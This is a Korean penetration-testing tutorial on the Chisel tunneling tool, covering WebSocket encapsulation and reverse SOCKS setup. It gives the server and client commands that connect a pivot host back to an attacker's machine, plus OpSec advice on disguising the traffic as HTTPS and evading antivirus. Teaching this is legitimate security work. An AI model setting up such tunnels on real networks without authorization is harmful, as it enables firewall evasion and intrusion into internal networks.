모의해킹
피버팅과터널링_12_Chisel 터널링
작성자 : Heehyeon Yoo|2025-12-20
# 모의해킹# PNT# Chisel# HTTPTunneling# WebSocket
1. 개요
Chisel은 Golang으로 작성된 고성능 터널링 도구로, HTTP, 웹소켓(WebSocket) 프로토콜을 전송 계층으로 사용하여 방화벽을 우회하는 데 특화되어 있다.
기존 SSH 터널링과 유사한 기능을 제공하지만, SSH 트래픽(Port 22)이 차단되어 있거나 딥 패킷 분석(DPI)으로 인해 SSH 프로토콜 헤더가 탐지되는 환경에서 유용하다. Chisel은 모든 데이터를 SSH로 암호화한 뒤, 이를 HTTP/WebSocket 프레임으로 캡슐화하여 전송하므로, 외부에서 볼 때는 일반적인 웹 트래픽처럼 보인다.
2. 기술적 특징 및 원리
2.1 터널링 메커니즘
- 캡슐화 (Encapsulation): TCP/UDP 데이터를 SSH 프로토콜로 암호화한다.
- 전송 (Transport): 암호화된 데이터를 HTTP 헤더와 웹소켓 프레임에 실어 전송한다.
- 핸드쉐이크:
- 클라이언트가 서버에 HTTP Upgrade 요청을 보낸다 (
Connection: Upgrade,Upgrade: websocket). - 서버가
101 Switching Protocols응답을 보내면 웹소켓 터널이 수립된다. - 이후 해당 터널 내부에서 SSH 핸드쉐이크가 이루어지며 데이터가 교환된다.
- 클라이언트가 서버에 HTTP Upgrade 요청을 보낸다 (
2.2 주요 기능
- Reverse SOCKS: 피벗 호스트(Victim)에서 공격자(Attacker)로 역방향 연결을 맺은 뒤, 공격자 측에 SOCKS 프록시 포트를 생성해준다. (
Reverse Dynamic Port Forwarding과 동일) - Multiplexing: 단일 HTTP 연결(웹소켓)을 통해 다중 터널링 세션을 처리한다.
3. 사용법 및 시나리오
3.1 Chisel 서버 (공격자)
공격자는 공인 IP(또는 피벗 호스트가 접근 가능한 IP)에서 서버 모드로 대기한다.
# -p: 리스닝 포트
# --reverse: 클라이언트로부터의 리버스 포트 포워딩 허용
./chisel server -p 8000 --reverse
3.2 Chisel 클라이언트 (피벗 호스트)
피벗 호스트는 공격자 서버에 접속하며 리버스 터널을 설정한다.
# 구문: ./chisel client [ServerIP]:[Port] R:[RemotePort]:socks
# 예시: 공격자(10.8.0.2:8000)에 접속하여, 공격자의 1080 포트에 SOCKS 프록시 생성
./chisel client 10.8.0.2:8000 R:1080:socks
3.3 통신 흐름
- Client(Pivot) -> Server(Attacker): HTTP/WebSocket 연결 수립 (TCP 8000).
- Server: 연결 수립 후 로컬(127.0.0.1)의
1080포트를 SOCKS5 리스너로 바인딩. - Attacker:
ProxyChains등을 이용해127.0.0.1:1080으로 트래픽 전송. - Traffic: 트래픽은 웹소켓 터널을 타고 Attacker -> Pivot -> Internal Network로 전달된다.
4. OpsSec 고려사항
- 웹소켓 트래픽 위장: 일반적인 HTTPS(443) 포트를 사용하여 Chisel 서버를 구동하면, 방화벽이나 보안 장비가 이를 일반적인 암호화 웹 트래픽으로 오인할 가능성이 높다.
- 핑거프린팅: Chisel의 초기 핸드쉐이크 패킷에는 특유의 헤더(Go-http-client 등)나 배너가 포함될 수 있어, 정교한 NIDS 규칙에는 탐지될 수 있다.
- 바이너리 드롭: 타겟 시스템에 바이너리 실행 파일(
chisel.exe등)을 업로드해야 하므로, 안티바이러스 탐지 우회(AV Evasion)가 선행되어야 한다.